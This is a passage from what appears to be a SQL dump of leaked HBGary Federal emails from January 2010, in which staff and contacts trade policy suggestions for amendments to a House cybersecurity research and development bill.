&nbsp;Anyone interested in drafting some legislation. &nbsp;Looks like I have some work to do. &nbsp;Any ideas would be helpful.&nbsp;AaronFrom my iPhoneBegin forwarded message:From:&nbsp;\"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Date:&nbsp;January 27, 2010 6:45:14 PM ESTTo:&nbsp;\"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Subject:&nbsp;request for amendments - cyber billOne of the interesting things about working for Congress is that you can go long stretches of time where you never seem to have traction on an issue, and then suddenly a window of opportunity presents itself and you have a brief moment to take advantage of it.&nbsp; This is one of those moments for cybersecurity here in the House of Reps.&nbsp;Several months ago, the Science and Technology Committee marked up a Cyber R&amp;D bill.&nbsp; You can find the bill here:http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;&nbsp;As you can tell, this was a fairly noncontroversial bill.&nbsp; The Speaker’s office decided today that they want this bill on the floor&nbsp;next week (likely Wednesday or Thursday).&nbsp;&nbsp;Here’s how the procedure works.&nbsp; Members are allowed to write amendments to the bill.&nbsp; They submit them to the Rules Committee.&nbsp; On Monday night, the Rules Committee will consider those amendments, and rule them either “in order” or “out of order.”&nbsp; Amendments are supposed to be “germane” to the section of the bill that is being amended (there is a test for this, but basically an amendment has to relate to the subject matter under consideration).&nbsp; Amendments that are ruled “in order” can then be raised by that member on the floor – and put to a vote of the House.&nbsp;&nbsp;As you can see from the text, the bill contains provisions on R&amp;D, cyber workforce, strategic planning, social and behavioral cyber research, the focus of NSF grants, scholarship for service, NIST research, international standards, identity management, cyber awareness into legislation.&nbsp; Lots of good and interesting subjects that can be improved and enhanced through the amendment process.&nbsp; For those looking for an opportunity,&nbsp;this is a great way to address some of these issues in a bill that will be voted on by the House of Representatives.&nbsp; &nbsp;&nbsp;Members have already been asking me for amendments, and I am busy drafting.&nbsp; You are a trusted ally, and I would really appreciate if you can take a look at this bill, see if you have some ideas about ways to improve it, and send them to me.&nbsp;&nbsp;Please be creative!&nbsp; I will take your submissions, turn them into amendment language, and send them to members who are interested in amending this bill.&nbsp;Sorry for the late notice, but&nbsp;I need your proposals by not later than FRIDAY at NOON.&nbsp; If you’re not comfortable drafting an amendment, feel free to submit an “idea” to me and I will do my best to turn it into legislative language that the members can use.&nbsp;Thanks for your help.&nbsp;Jake&nbsp;Jacob OlcottSubcommittee Director and CounselEmerging Threats, Cybersecurity, S&amp;T SubcommitteeCommittee on Homeland Security (Majority)202-226-2623&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16478,'aaron_hbgary_com/16478.html'),(1750,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000556.M391921P3547Q1751.eml','\"Jake Olcott\" <Jacob.Olcott@mail.house.gov>','Input','Jake,I wish I had more time. &nbsp;But here is some input. &nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.AaronSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities. &nbsp;(my point here is there is lots of talent, capability, overlap, but often they don\'t collaborate for reasons of market share, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small companies are laser focused on immediate revenue and growth. &nbsp;Difficult to get them to think about collaboration. &nbsp;Describe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing. &nbsp;(In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).Describe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies. &nbsp;(It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)Describe how the program will facilitate development and implementation of newly developed technologies. &nbsp;Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don\'t have anything to do with the quality of the technology.Describe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced. &nbsp;How can we innovatively foster the creation of new ideas. &nbsp;Provide a national challenge in different areas at a government sponsored cybersecurity event. &nbsp;This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.SEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.Develop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.Programs to inform public of compromised systems, attack types, methods. &nbsp;More publicly digestible information on the threats and methods of attack.SEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMSSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAMSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.Develop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.Develop technical coaching and mentorship programs to grow the current base into technical experts.SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships. &nbsp;I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.SEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATIONSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENTDevelop cybersecurity taxonomy and metrics standards.Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).Continually assess gaps in cyber defense research, development and implementation. &nbsp;Annual assessments of cyber intrusions and investigations/remediation. &nbsp;Publicly available documentation.\r\n\r\n',4971,'aaron_hbgary_com/4971.html'),(1751,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000556.M656389P3547Q1752.eml','\"H. Barnett\" <Jim.H.Barnett@ngc.com>,\"Thomas W. Conroy\" <Tom.Conroy@ngc.com>','Fwd: Input','Here is the input I sent in.AaronFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:02:39 AM ESTTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;Subject: Input\r\nJake,I wish I had more time.  But here is some input.  Hope it helps.  Let me know if there is anything else I can do.Aaron\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities.  (my point here is there is lots of talent, capability, overlap, but often they don&#39;t collaborate for reasons of market share, territory, etc).  Grants for innovative integration.  Small companies are laser focused on immediate revenue and growth.  Difficult to get them to think about collaboration.  \r\nDescribe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing.  (In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).\r\nDescribe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies.  (It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)\r\nDescribe how the program will facilitate development and implementation of newly developed technologies.  Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don&#39;t have anything to do with the quality of the technology.\r\nDescribe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced.  How can we innovatively foster the creation of new ideas.  Provide a national challenge in different areas at a government sponsored cybersecurity event.  This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.\r\nDevelop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.Programs to inform public of compromised systems, attack types, methods.  More publicly digestible information on the threats and methods of attack.\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMSSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.\r\nDevelop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.\r\nDevelop technical coaching and mentorship programs to grow the current base into technical experts.SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships.  I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATIONSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENT\r\nDevelop cybersecurity taxonomy and metrics standards.Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).\r\nContinually assess gaps in cyber defense research, development and implementation.  Annual assessments of cyber intrusions and investigations/remediation.  Publicly available documentation.\r\n\r\n\r\n\r\n\r\n',13763,'aaron_hbgary_com/13763.html'),(1752,'2010-01-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000556.M6901P3547Q1749.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: request for amendments - cyber bill','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nHere is my attempt at an amendment worthy suggestion. &nbsp;See\r\nyou in a few hours. \r\n\r\n&nbsp;\r\n\r\nI believe one of the best ways to ensure appropriations are\r\nbeing spent wisely is to continually assess gaps in Cyber Defense and\r\nInvestigation capabilities.\r\n\r\n&nbsp;\r\n\r\nWith properly trained teams, the analysis, dissemination and\r\ndiscussion of this research could drive significant enhancements in Cyber Security\r\nTechnology and Training capabilities.&nbsp; This analysis will also drive the roadmap\r\nto security innovation.&nbsp; All or portions of the report could be made\r\npublic information to encourage small business growth and research in the\r\nprivate sector. \r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Annual Assessment of &#8220;Cyber Intrusion &amp;\r\nAttack investigations&#8221; from both govt and civilian orgs to include many\r\nvertical markets critical to national security.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -\r\nMultiple Teams should be included from both Government and Private Industry to\r\nconduct the analysis and reporting. \r\n\r\n- The study teams should\r\nbe firewalled off from each other and their research and reports should be remain\r\nprivate to ensure unbiased high quality data\r\n\r\n- Root Cause Analysis: Cyber\r\nInvestigators need advanced tools and training to perform accurate and thorough\r\ninvestigations to include Root Cause Identification following network Intrusions.&nbsp;&nbsp;\r\nTrending this data over time across multiple vertical markets is critical to understanding\r\ncurrent and future attack trends and developing short term and long term\r\ncountermeasures and protections.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -\r\nVerticals included Energy, Defense, Financial, Manufacturing, Oil, Power\r\nCompanies and organizations from other critical sectors of government and\r\nindustry.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 6:49 PM\r\nTo: Greg Hoglund; Penny Leavy; Ted Vera; Rich Cummings\r\nSubject: Fwd: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWow. &nbsp;Anyone interested in drafting some legislation.\r\n&nbsp;Looks like I have some work to do. &nbsp;Any ideas would be helpful.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Olcott,\r\nJacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 27, 2010 6:45:14 PM EST\r\nTo: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: request for amendments - cyber bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne\r\nof the interesting things about working for Congress is that you can go long\r\nstretches of time where you never seem to have traction on an issue, and then\r\nsuddenly a window of opportunity presents itself and you have a brief moment to\r\ntake advantage of it.&nbsp; This is one of those moments for cybersecurity here\r\nin the House of Reps.\r\n\r\n&nbsp;\r\n\r\nSeveral months ago, the Science and Technology Committee\r\nmarked up a Cyber R&amp;D bill.&nbsp; You can find the bill here: http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;\r\nAs you can tell, this was a fairly noncontroversial bill.&nbsp; The\r\nSpeaker&#8217;s office decided today that they want this bill on the floor next\r\nweek (likely Wednesday or Thursday).&nbsp; \r\n\r\n&nbsp;\r\n\r\nHere&#8217;s\r\nhow the procedure works.&nbsp; Members are allowed to write amendments to the\r\nbill.&nbsp; They submit them to the Rules Committee.&nbsp; On Monday night, the\r\nRules Committee will consider those amendments, and rule them either &#8220;in\r\norder&#8221; or &#8220;out of order.&#8221;&nbsp; Amendments are supposed to be\r\n&#8220;germane&#8221; to the section of the bill that is being amended (there\r\nis a test for this, but basically an amendment has to relate to the subject\r\nmatter under consideration).&nbsp; Amendments that are ruled &#8220;in order&#8221;\r\ncan then be raised by that member on the floor &#8211; and put to a vote of the\r\nHouse.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs\r\nyou can see from the text, the bill contains provisions on R&amp;D, cyber\r\nworkforce, strategic planning, social and behavioral cyber research, the focus\r\nof NSF grants, scholarship for service, NIST research, international standards,\r\nidentity management, cyber awareness into legislation.&nbsp; Lots of good and\r\ninteresting subjects that can be improved and enhanced through the amendment\r\nprocess.&nbsp; For those looking for an opportunity, this is a great way\r\nto address some of these issues in a bill that will be voted on by the House of\r\nRepresentatives.&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\nMembers\r\nhave already been asking me for amendments, and I am busy drafting.&nbsp; You\r\nare a trusted ally, and I would really appreciate if you can take a look at\r\nthis bill, see if you have some ideas about ways to improve it, and send them\r\nto me.&nbsp; Please be creative!&nbsp; I will take your\r\nsubmissions, turn them into amendment language, and send them to members who\r\nare interested in amending this bill.\r\n\r\n&nbsp;\r\n\r\nSorry\r\nfor the late notice, but I need your proposals by not later than FRIDAY\r\nat NOON.&nbsp; If you&#8217;re not comfortable drafting an amendment,\r\nfeel free to submit an &#8220;idea&#8221; to me and I will do my best to turn\r\nit into legislative language that the members can use.\r\n\r\n&nbsp;\r\n\r\nThanks\r\nfor your help.\r\n\r\n&nbsp;\r\n\r\nJake\r\n\r\n&nbsp;\r\n\r\nJacob Olcott\r\n\r\nSubcommittee Director and Counsel\r\n\r\nEmerging Threats, Cybersecurity, S&amp;T Subcommittee\r\n\r\nCommittee on Homeland Security (Majority)\r\n\r\n202-226-2623\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6607,'aaron_hbgary_com/6607.html'),(1753,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000556.M910046P3547Q1753.eml','\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Steven P Winterfeld\" <steven.winterfeld@tasc.com>','Fwd: Input','Here is the input I submitted.AaronFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:02:39 AM ESTTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;Subject: Input\r\nJake,I wish I had more time.  But here is some input.  Hope it helps.  Let me know if there is anything else I can do.Aaron\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities.  (my point here is there is lots of talent, capability, overlap, but often they don&#39;t collaborate for reasons of market share, territory, etc).  Grants for innovative integration.  Small companies are laser focused on immediate revenue and growth.  Difficult to get them to think about collaboration.  \r\nDescribe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing.  (In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).\r\nDescribe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies.  (It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)\r\nDescribe how the program will facilitate development and implementation of newly developed technologies.  Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don&#39;t have anything to do with the quality of the technology.\r\nDescribe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced.  How can we innovatively foster the creation of new ideas.  Provide a national challenge in different areas at a government sponsored cybersecurity event.  This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.\r\nDevelop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.Programs to inform public of compromised systems, attack types, methods.  More publicly digestible information on the threats and methods of attack.\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMSSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.\r\nDevelop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.\r\nDevelop technical coaching and mentorship programs to grow the current base into technical experts.SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships.  I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATIONSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENT\r\nDevelop cybersecurity taxonomy and metrics standards.Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).\r\nContinually assess gaps in cyber defense research, development and implementation.  Annual assessments of cyber intrusions and investigations/remediation.  Publicly available documentation.\r\n\r\n\r\n\r\n\r\n',8560,'aaron_hbgary_com/8560.html'),(1754,'2010-01-29','rich@hbgary.com','/aaron@hbgary.com/new/1297000557.M286052P3547Q1755.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: request for amendments - cyber bill','Ok see you thereSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Fri, 29 Jan 2010 05:07:14 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: Re: request for amendments - cyber billThanks Rich,How about lets meet here:Starbucks901 North Stuart StreetArlington, VA 22203See you there about 7:45?AaronOn Jan 29, 2010, at 12:36 AM, Rich Cummings wrote:Aaron,&nbsp;Here is my attempt at an amendment worthy suggestion. &nbsp;See you in a few hours.&nbsp;I believe one of the best ways to ensure appropriations are being spent wisely is to continually assess gaps in Cyber Defense and Investigation capabilities.&nbsp;With properly trained teams, the analysis, dissemination and discussion of this research could drive significant enhancements in Cyber Security Technology and Training capabilities.&nbsp; This analysis will also drive the roadmap to security innovation.&nbsp; All or portions of the report could be made public information to encourage small business growth and research in the private sector.&nbsp;1.&nbsp; Annual Assessment of “Cyber Intrusion &amp; Attack investigations” from both govt and civilian orgs to include many vertical markets critical to national security.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Multiple Teams should be included from both Government and Private Industry to conduct the analysis and reporting.- The study teams should be firewalled off from each other and their research and reports should be remain private to ensure unbiased high quality data- Root Cause Analysis: Cyber Investigators need advanced tools and training to perform accurate and thorough investigations to include Root Cause Identification following network Intrusions.&nbsp;&nbsp; Trending this data over time across multiple vertical markets is critical to understanding current and future attack trends and developing short term and long term countermeasures and protections.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Verticals included Energy, Defense, Financial, Manufacturing, Oil, Power Companies and organizations from other critical sectors of government and industry.&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, January 27, 2010 6:49 PMTo:&nbsp;Greg Hoglund; Penny Leavy; Ted Vera; Rich CummingsSubject:&nbsp;Fwd: request for amendments - cyber bill&nbsp;Wow. &nbsp;Anyone interested in drafting some legislation. &nbsp;Looks like I have some work to do. &nbsp;Any ideas would be helpful.&nbsp;AaronFrom my iPhoneBegin forwarded message:From:&nbsp;\"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Date:&nbsp;January 27, 2010 6:45:14 PM ESTTo:&nbsp;\"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Subject:&nbsp;request for amendments - cyber billOne of the interesting things about working for Congress is that you can go long stretches of time where you never seem to have traction on an issue, and then suddenly a window of opportunity presents itself and you have a brief moment to take advantage of it.&nbsp; This is one of those moments for cybersecurity here in the House of Reps.&nbsp;Several months ago, the Science and Technology Committee marked up a Cyber R&amp;D bill.&nbsp; You can find the bill here:http://www.rules.house.gov/111/LegText/111_hr4061_txt.pdf.&nbsp;&nbsp;As you can tell, this was a fairly noncontroversial bill.&nbsp; The Speaker’s office decided today that they want this bill on the floor&nbsp;next week (likely Wednesday or Thursday).&nbsp;&nbsp;Here’s how the procedure works.&nbsp; Members are allowed to write amendments to the bill.&nbsp; They submit them to the Rules Committee.&nbsp; On Monday night, the Rules Committee will consider those amendments, and rule them either “in order” or “out of order.”&nbsp; Amendments are supposed to be “germane” to the section of the bill that is being amended (there is a test for this, but basically an amendment has to relate to the subject matter under consideration).&nbsp; Amendments that are ruled “in order” can then be raised by that member on the floor – and put to a vote of the House.&nbsp;&nbsp;As you can see from the text, the bill contains provisions on R&amp;D, cyber workforce, strategic planning, social and behavioral cyber research, the focus of NSF grants, scholarship for service, NIST research, international standards, identity management, cyber awareness into legislation.&nbsp; Lots of good and interesting subjects that can be improved and enhanced through the amendment process.&nbsp; For those looking for an opportunity,&nbsp;this is a great way to address some of these issues in a bill that will be voted on by the House of Representatives.&nbsp; &nbsp;&nbsp;Members have already been asking me for amendments, and I am busy drafting.&nbsp; You are a trusted ally, and I would really appreciate if you can take a look at this bill, see if you have some ideas about ways to improve it, and send them to me.&nbsp;&nbsp;Please be creative!&nbsp; I will take your submissions, turn them into amendment language, and send them to members who are interested in amending this bill.&nbsp;Sorry for the late notice, but&nbsp;I need your proposals by not later than FRIDAY at NOON.&nbsp; If you’re not comfortable drafting an amendment, feel free to submit an “idea” to me and I will do my best to turn it into legislative language that the members can use.&nbsp;Thanks for your help.&nbsp;Jake&nbsp;Jacob OlcottSubcommittee Director and CounselEmerging Threats, Cybersecurity, S&amp;T SubcommitteeCommittee on Homeland Security (Majority)202-226-2623&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',691,'aaron_hbgary_com/691.html'),(1755,'2010-01-29','\"Winterfeld, Steven P (TASC Inc)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297000557.M468501P3547Q1756.eml','aaron@hbgary.com','Re: Fwd: Input','\r\nGood input-----------------------Sent via Blackberry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Ted Vera &lt;ted@hbgary.com&gt;; Rich Cummings &lt;rich@hbgary.com&gt;; Greg Hoglund &lt;greg@hbgary.com&gt;; Winterfeld, Steven P (TASC Inc)Sent: Fri Jan 29 05:11:28 2010Subject: Fwd: Input\r\nHere is the input I submitted.AaronFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:02:39 AM ESTTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;Subject: Input\r\nJake,I wish I had more time.  But here is some input.  Hope it helps.  Let me know if there is anything else I can do.Aaron\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities.  (my point here is there is lots of talent, capability, overlap, but often they don&#39;t collaborate for reasons of market share, territory, etc).  Grants for innovative integration.  Small companies are laser focused on immediate revenue and growth.  Difficult to get them to think about collaboration.  \r\nDescribe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing.  (In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).\r\nDescribe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies.  (It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)\r\nDescribe how the program will facilitate development and implementation of newly developed technologies.  Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don&#39;t have anything to do with the quality of the technology.\r\nDescribe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced.  How can we innovatively foster the creation of new ideas.  Provide a national challenge in different areas at a government sponsored cybersecurity event.  This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.\r\nDevelop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.Programs to inform public of compromised systems, attack types, methods.  More publicly digestible information on the threats and methods of attack.\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMSSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.\r\nDevelop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.\r\nDevelop technical coaching and mentorship programs to grow the current base into technical experts.SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships.  I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATIONSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENT\r\nDevelop cybersecurity taxonomy and metrics standards.Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).\r\nContinually assess gaps in cyber defense research, development and implementation.  Annual assessments of cyber intrusions and investigations/remediation.  Publicly available documentation.\r\n\r\n\r\n\r\n\r\n',14014,'aaron_hbgary_com/14014.html'),(1756,'2010-01-29','\"Barnett, Jim H.\" <Jim.H.Barnett@ngc.com>','/aaron@hbgary.com/new/1297000557.M679197P3547Q1757.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','RE: Input','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood stuff Aaron&#8230;\r\n\r\nJust so ya know&#8230;it looks like NGC will duck on this one&#8230;see\r\nwhat &#8220;companion&#8221; shows up on the Senate side&#8230;see if they can\r\nfigure out what they want to do to influence that for conference.\r\n\r\nAs it turns out, Tim McKnight was also part of Jacob&#8217;s\r\noutreach so there was discussion within the corporation but not much real\r\naction.\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 6:10 AM\r\nTo: Barnett, Jim H.; Conroy, Thomas W.\r\nSubject: Fwd: Input\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHere is the input I sent in.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:02:39 AM EST\r\nTo: Jake Olcott &lt;Jacob.Olcott@mail.house.gov&gt;\r\nSubject: 